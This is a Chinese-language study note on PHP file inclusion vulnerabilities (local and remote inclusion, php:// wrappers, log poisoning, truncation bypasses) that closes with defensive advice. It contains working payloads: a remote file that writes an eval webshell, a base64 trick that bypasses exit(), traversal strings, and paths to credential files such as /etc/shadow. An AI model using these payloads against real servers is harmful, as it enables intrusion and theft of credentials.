微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

文件包含漏洞学习

1、概述

什么是文件包含?

将需要重复调用函数写入一个文件,对该文件进行包含时产生的操作。

漏洞产生原因

文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,包含其他恶意文件,导致了执行非预期代码

示例:

<?PHP
$filename=$_GET['filename'];
include($filename);
?>

可以看出,改变URL中filename的值即可改变代码中包含的文件

PHP中的文件包含函数

  • include 函数出现错误时,会抛出警告,但程序仍继续执行。
  • include_once 同 include ,但仅包含一次(避免函数重定义,变量重新赋值等问题)。
  • require 函数出现错误时,会直接报错并退出程序执行。
  • require_once 同 require ,但仅包含一次。

2、类型

2.1、本地文件包含

被包含的文件在服务器本地

包含本地敏感文件

image-20210527204155548

敏感文件认路径列举(以下目录随系统版本不同而有差异):

  • windows系统:

    C:\windows\win.ini //基本系统配置文件

    C:\boot.ini //查看系统版本

    C:\windows\system32\inetsrv\MetaBase.xml //iis配置文件

    C:\windows\repair\same //存储windows系统初次安装密码

    C:\ProgramFiles\MysqL\my.ini //MysqL配置信息

    C:\ProgramFiles\MysqL\data\MysqL\user.MYD //MysqL root密码

    C:\windows\PHP.ini //PHP配置信息

  • linux/unix系统:

    /etc/passwd //账户信息
    /etc/shadow //账户密码文件
    /usr/local/app/apache2/conf/httpd.conf //Apache2配置文件
    /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
    /usr/local/app/PHP5/lib/PHP.ini //PHP相关配置
    /etc/httpd/conf/httpd.conf //apache配置信息
    /etc/my.conf //MysqL配置文件

包含上传文件

包含文件内容只要符合PHP语法都能被当成PHP代码进行执行,无关后缀名是什么。

image-20210527203723802

2.2、远程文件包含

被包含的文件在远程服务端

条件:PHP.ini中设置allow_url_fopen = On(认)、allow_url_include = On ( PHP5.2后认为off )

包含远程文件

image-20210527210839912

包含远程shell

remoteshell.txt

<?PHP
$payload="<?PHP eval(\$_POST['shell']);?>";
$myfile=fopen('test.PHP','w') or die("can't open the file!");
fwrite($myfile,$payload);
fclose($myfile);
?>

image-20210527214700058

包含构造好的文件后,会在当前目录下创建test.PHP,即写入一句话木马,可以对其进行利用,后续也可用菜刀进行连接

image-20210527215840715

image-20210527215247349

3、利用方式

3.1、利用PHP伪协议

何为伪协议?简单的说,就是自己定义的协议,也只有自己的软件支持,其他软件都不识别的协议就是伪协议。

PHP中,PHP给自己定义了一个PHP伪协议,以:PHP://起头。

至于http://file://这些都不是伪协议,都是大部分系统/软件都支持的协议,共享同一套协议标准。

PHP://filter

php://filter参数

PHP伪协议的过滤器功能,可以通过拼接各种过滤器达到快速转换字节流效果。如:

PHP://filter/read=convert.base64-encode/resource=index.PHP

其中filter/[read|write]=[过滤器]可简写为filter/[过滤器]PHP会自选判断是read还是write。

此时PHP会读取index.PHP文件内容,通过convert过滤器的base64-encode方法,最总将所得结果以PHP代码的形式包含到运行的PHP文件之中,由于base64编码之后的内容不会出现<?,所以必然不会被识别为PHP代码,故而能起到文件读取的作用。

image-20210527233338272

对其进行base64解码得到源码

image-20210527233513514

常用的过滤器有:

过滤器名称说明类别版本
string.rot13rot13转换字符串过滤器PHP>4.3.0
string.toupper、string.tolower大小写互转字符串过滤器PHP>5.0.0
string.strip_tags去除<?(.*?)?>内容string.strip_tagsPHP<7.3.0
convert.base64-encode、convert.base64-decodebase64编码转换转换过滤器PHP>5.0.0
convert.quoted-printable-encode、convert.quoted-printable-decodeURL编码转换转换过滤器PHP>5.0.0
convert.iconv.编码1.编码2任意编码转换转换过滤器PHP>5.0.0
zlib.deflate、zlib.inflatezlib压缩压缩过滤器PHP>5.1.0
bzip2.compress、bzip2.decompresszlib压缩压缩过滤器PHP>5.1.0

利用 PHP://input 协议

主要用来接收post数据,将post请求中的数据作为PHP代码执行。

条件:allow_url_include = On(PHP版本>5.2后,认值为Off)

image-20210527235351691

3.2、file_put_contents

摘自:file_put_content和死亡·杂糅代码之缘

示例:

<?PHP
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,'<?PHP exit();?>'.$content);
?>

$content在开头增加了exit过程,导致即使我们成功写入内容,也执行不了,这时候如何绕过?

image-20210529174557298

payload

filename=PHP://filter/convert.base64-decode/resource=PHPinfo.PHP&content=aPD9waHAgcGhwaW5mbygpOyA/Pg==

对写入内容(这里是<?PHP PHPinfo(); ?>)进行Base64编码(PD9waHAgcGhwaW5mbygpOyA/Pg==),在包含PHPinfo.PHP这个文件时又进行Base64解码,这时写入内容还原,而死亡代码exit()被解码为乱码,达到绕过目的。

添加额外字符a:Base64解码时是4个byte一组,前面的PHPexit一共7个字符,增加一个a凑成8个字符,这样PHPexita 被正常解码,而后面我们写入的内容也才会正常解码。

base64编码中只包含64个可打印字符(大小写字母,0-9,+,/),而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

image-20210529180216634

image-20210529180259106

3.3、其他协议

除了PHP伪协议外,PHP支持包含以下协议的数据流:

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

如利用file协议:

image-20210527232103966

3.4、配合日志文件

如果知道服务器日志文件的路径,可在URL请求中添加攻击代码,此代码会被记录在服务器日志文件内,再对日志文件进行包含,攻击代码便会被执行。(前提有访问权限)

测试靶场:DVWA

image-20210527230821426

在日志文件中可见,部分字符被URL编码,代码无法执行,可用burpsuite抓包改回。

image-20210527231123446

image-20210527231156043

利用文件包含漏洞包含此日志文件,即可执行插入代码

image-20210527231313524

4、绕过方式

  • %00截断

条件:magic_quotes_gps=off PHP版本<5.3.4

示例:

<?PHP include("inc/" . $_GET['file'] . ".PHP"); ?>

这里对后缀名进行了限制,可是我们无法上传PHP文件,满足条件下可用00截断绕过。

?page=…/…/…/…/PHPinfo.PHP%00

  • 长度截断

前提:PHP版本<5.2.10

操作系统对于目录字符串存在长度限制,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./即可:

lfi.PHP?file=././././[./]+/./shell.txt
lfi.PHP?file=./shell.txt/.[...]+. # 仅Windows下有效
  • 重写

?page=…//…//…//PHPinfo.PHP

  • 利用PHP伪协议等

5、危害

最简单的,我们可以通过上传一个包含webshell内容图片,然后通过包含此图片即可得到一个可以控制的webshell。

6、防御

  1. 尽量不使用动态包含,无需情况下设置allow_url_include和allow_url_fopen为关闭;
  2. 对可以包含的文件进行限制︰使用白名单的方式,或者设置包含的目录,open_basedir ;
  3. 严格检查用户输入,参数中不允许出现…/之类的目录跳转符;
  4. 严格检查变量是否初始化;
  5. 不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

参考资料:

[1] PHP 本地文件包含(LFI)漏洞学习笔记

[2] file_put_content和死亡·杂糅代码之缘

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐